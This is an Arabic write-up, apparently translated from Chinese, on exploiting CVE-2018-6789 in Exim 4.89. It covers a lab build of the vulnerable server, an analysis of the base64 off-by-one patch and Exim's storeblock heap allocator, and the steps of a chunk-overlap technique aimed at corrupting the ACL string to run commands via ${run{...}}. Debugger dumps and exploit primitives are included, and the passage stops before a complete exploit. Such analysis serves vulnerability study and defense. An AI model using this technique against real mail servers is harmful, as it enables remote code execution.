
استغلال لثغرة CVE-2018-6789، وهي تجاوز سعة المخزن المؤقت في الكومة (heap buffer overflow) في فك ترميز base64 في Exim، ما يحقق تنفيذًا عن بُعد للتعليمات البرمجية عبر تداخل الكتل (chunk overlap) ومعالجة سلاسل ACL.
تثبيت التبعيات
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
تنزيل نسخة قديمة من exim
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
ثم عدّل Local/Makefile لتسهيل الأمر، تشير جميع المجلدات إلى الدليل الحالي
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
هذا يسهّل التصحيح ثم قم بالترجمة والتثبيت
make install
عدّل ./configure واستبدل محتواه بما يلي مباشرة
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
./bin/exim -bd -d-receive
أولًا، لنحلل التصحيح (patch) الموجود في base64.c:
حيث إن result هو المخزن المؤقت الذي تُحفظ فيه نتيجة فك ترميز base64، ويتم الحصول عليه عبر الدالة store_get.
يمكن ملاحظة أن حساب size قبل التصحيح كان معيبًا؛ فعندما يقع size ضمن النطاق 4n~4n+3 يكون الطول المحسوب متساويًا، لكن b64decode عند فك ترميز مدخلات ليست من مضاعفات الرقم 4 ينتج بايتًا أو بايتين إضافيين.
على سبيل المثال، إذا أرسلنا مباشرة
auth_md5('Hf'*42)
size=0x40
توزيع الذاكرة الناتج:
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 00 │....│....│....│....│
+0040 0x711da0 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
لنجرّب أيضًا
auth_md5('Hf'*42+'HfH')
size=0x40
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0040 0x711da0 f1 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
حدث تجاوز بمقدار بايتين.
لتحسين الأداء، نفّذ Exim آلية إدارة ذاكرة خاصة به فوق آلية إدارة الكومة (heap) الأصلية، وهو بمثابة مخزن مؤقت وسيط بين الكود وglibc، بهدف تقليل عدد مرات استدعاء malloc وfree.
في Exim، تُسمى كتلة الكومة الواحدة storeblock، وفي كل مرة يُستخدم فيها المخزن، تُقتطع منه منطقة بحجم مناسب. وعندما تنفد storeblock، يتم استدعاء malloc لإنشاء storeblock جديدة.
بالنسبة لكل storeblock، بنيتها عبارة عن قائمة مرتبطة أحادية بسيطة:
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
أهم واجهات برمجة التطبيقات (API) التي يستخدمها البرنامج عند التعامل مع الكومة موجودة في store.c:
store_get
store_release
store_extend
store_reset
من بينها، تُستخدم store_get للحصول على المخزن المؤقت، وهذا هو الكود الأساسي:
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161 /* If there was no free block, get a new one */
162 if (!newblock)
163 {
164 pool_malloc += mlength; /* Used in pools */
165 nonpool_malloc -= mlength; /* Exclude from overall total */
166 newblock = store_malloc(mlength);
...
يمكن ملاحظة أن الحد الأدنى لطول store_block المطلوب هو STORE_BLOCK_SIZE، أي 8192.
لذلك، فإن store_block بحجم 8192، بعد إضافة ترويسة بنيتها وترويسة كتلة الكومة، يصبح حجمها الإجمالي 0x2020.

عندما ينفّذ Exim أمرًا مرسلًا من العميل، إذا نجح التنفيذ، يستدعي store_reset لتحرير المخازن المؤقتة غير الضرورية وكتل store_block الزائدة. ويُقصد بـ«نجاح التنفيذ» هنا أن تنسيق الأمر صحيح، وأن البريد لا يحتوي على أحرف غير قانونية، وما إلى ذلك؛ وإلا فلن يتم استدعاء store_reset.
هذه الثغرة هي خطأ off-by-one كلاسيكي (رغم أنه يمكن تجاوز بايتين في الواقع)، لكن لأن عدد البايتات المُتجاوزة صغير، لا يمكن الكتابة مباشرة فوق البنى الحساسة داخل كتل الكومة. لذلك نستغل بعض خصائص ptmalloc لتوسيع تأثير الثغرة وتحويلها إلى تجاوز (overflow) أو تداخل (overlap) أوسع نطاقًا. بالنسبة لثغرات off-by-one، هناك طريقة استغلال كلاسيكية هي chunk enlarge -> chunk overlap، عبر تكبير size كتلة الكومة ثم تزييف ترويسة كتلة لتجاوز فحوصات glibc السليمة، ما يؤدي إلى تداخل الكتل ويتيح تغطية نطاق أوسع.
العملية الرئيسية هنا هي chunk enlarge -> chunk overlap -> corrupt next pointer in storeblock، ثم تشغيل store_reset للتسبب في تحرير كتلة كومة عشوائية (free)، وعندما نتمكن من استعادة نفس الكتلة يمكننا تعديل محتوياتها (type confusion).
أوصى meh في مقالته بتعديل كتلة الكومة التي تحتوي على سلسلة ACL، لأن معالجة سلاسل ACL تتضمن وظيفة تنفيذ أوامر.
سلاسل ACL كثيرة جدًا، لكن معظمها NULL (ربما يعود ذلك إلى ملف الإعدادات). هنا اخترت سلسلة acl_smtp_mail، وصيغة تنفيذ الأوامر فيها هي:
${run{command}}
التوزيع التقريبي للكومة كما يلي:

الكتلة الأولى هي ناتج فك ترميز base64، وتُستخدم لخطأ off-by-one، لذا يجب أن تكون في نهاية storeblock. لتسهيل الأمر، نطلب مباشرة كتلة أكبر من 0x2020 لتخزين نتيجة فك ترميز base64.
الكتلة الثانية هي sender_helo_name، وتُستخدم لتغطية الكتلة التالية. إن sender_helo_name لا تُخزَّن داخل storeblock، بل تُحجز مباشرة عبر malloc:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
لذا يمكن أن يكون حجمها حسب الرغبة.
الكتلة الثالثة هي أيضًا ناتج فك ترميز base64، وتُستخدم أساسًا لتزييف الترويسة وتتعرض للتغطية، لذا يجب أن تكون في بداية storeblock. ولتسهيل الأمر، نطلب كتلة بحجم 0x2020 مباشرة.
استغلالي (exp) بُني خطوة بخطوة بناءً على تحليلات الآخرين على الإنترنت؛ الفكرة العامة لم تتغير، لكن تخطيط الكومة يختلف قليلًا عن الآخرين، لذا تختلف بعض المعاملات الصغيرة.
أولًا، سننشئ unsortedbin بحجم 0x6060، ويمكن تحقيق ذلك بالأمر التالي فقط:
ehlo('a'*0x1000)
عندما يستقبل Exim «EHLO » + 'a'*0x1000، فإنه يولّد السلاسل الثلاث التالية داخل الدالة match_check_list في match.c:
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
其中*name*为'a'*0x1000
بما أن طول name هو 0x1000، فإن كل سلسلة تشغل storeblock مستقلًا، وبالتالي ستكون هذه السلاسل الثلاث في ثلاث كتل storeblock متتالية.